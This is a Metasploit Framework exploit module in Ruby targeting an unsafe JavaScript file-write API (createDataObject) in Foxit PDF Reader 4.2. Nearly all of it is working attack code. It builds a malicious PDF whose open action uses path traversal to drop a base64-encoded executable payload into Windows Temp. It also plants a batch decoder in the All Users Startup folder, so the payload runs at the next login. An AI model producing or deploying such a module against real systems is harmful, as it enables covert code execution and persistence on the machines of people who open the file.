Foxit PDF Reader 4.2 Javascript File Write

`##  
# $Id: foxit_reader_filewrite.rb 11955 2011-03-14 12:01:55Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Foxit PDF Reader 4.2 Javascript File Write',  
'Description' => %q{  
This module exploits an unsafe Javascript API implemented in Foxit PDF Reader  
version 4.2. The createDataObject() Javascript API function allows for writing  
arbitrary files to the file system. This issue was fixed in version 4.3.1.0218.  
  
Note: This exploit uses the All Users directory currently, which required   
administrator privileges to write to. This means an administrative user has to  
open the file to be successful. Kind of lame but thats how it goes sometimes in  
the world of file write bugs.  
},  
'License' => MSF_LICENSE,  
'Author' =>   
[   
'bannedit', # metasploit module  
'Chris Evans' # Initial discover and exploit  
],  
'Version' => '$Revision: 11955 $',  
'References' =>  
[  
[ 'OSVDB', '71104' ],  
[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/03/dangerous-file-write-bug-in-foxit-pdf.html' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'DisablePayloadHandler' => 'true',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Automatic', { 'auto' => true } ], # uses both   
['Foxit PDF Reader v4.2 (Windows XP SP0-SP3)', {}],  
['Foxit PDF Reader v4.2 (Windows Vista/7/8/2008)', {}],  
],  
'DisclosureDate' => 'Mar 5 2011',  
'DefaultTarget' => 0))  
  
register_options([  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),  
OptString.new('DECODER', [ true, 'The decoder script.', 'vbs_b64']),  
], self.class)  
end  
  
def exploit  
decoder_file = rand_text_alpha(rand(6) + 1)  
payload_file = rand_text_alpha(rand(6) + 1)  
  
ext = '.b64'  
exe = generate_payload_exe  
payload_b64 = Rex::Text.encode_base64(exe)  
decoder = build_decoder(decoder_file, payload_file)  
path_old = 'c:/Documents and Settings/All Users/Start Menu/Programs/Startup/'  
path_new = 'c:/Users/All Users/Start Menu/Programs/Startup/'  
pdf = %Q|  
%PDF 1 0 obj<</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj<</S /JavaScript /JS (  
createDataObject\('#{path_old + "../../../../../WINDOWS/Temp/" + payload_file + ext}', "#{payload_b64}"\);  
createDataObject\('#{path_old + decoder_file + '.bat'}', unescape\(\"#{decoder}\"\)\);  
createDataObject\('#{path_new + "../../../../../WINDOWS/Temp/" + payload_file + ext}', "#{payload_b64}"\);  
createDataObject\('#{path_new + decoder_file + '.bat'}', unescape\(\"#{decoder}\"\)\);) >> trailer<</Root 1 0 R>>|  
file_create(pdf)  
end  
  
def build_decoder(decoder_file, payload_file)  
file = []  
decoder_bat = Msf::Config.data_directory + "/exploits/cmdstager/"  
case datastore['DECODER']  
when 'vbs_b64_adodb'  
decoder_bat << datastore['DECODER']  
when 'vbs_b64'  
decoder_bat << datastore['DECODER']  
else  
print_status("Selected decoder is incompatible with this exploit.")  
print_status("Defaulting to vbs_b64 decoder.")  
decoder_bat << 'vbs_b64'  
end  
  
decoder = File.new(decoder_bat, "r").read  
decoder << "cscript //nologo C:/Windows/Temp/" + decoder_file + '.vbs'  
  
decoder.gsub!(/\"/, '\"')  
decoder.gsub!(/\n/, " && ")  
decoder.gsub!(/ENCODED/, "C:/Windows/Temp/" + payload_file + '.b64') # payload.b64  
decoder.gsub!(/DECODED/, "C:/Windows/Temp/" + payload_file + '.exe') # payload.exe  
decoder.gsub!(/decode_stub/, "C:/Windows/Temp/" + decoder_file + '.vbs')  
  
return decoder = Rex::Text.uri_encode(decoder)  
end  
end  
`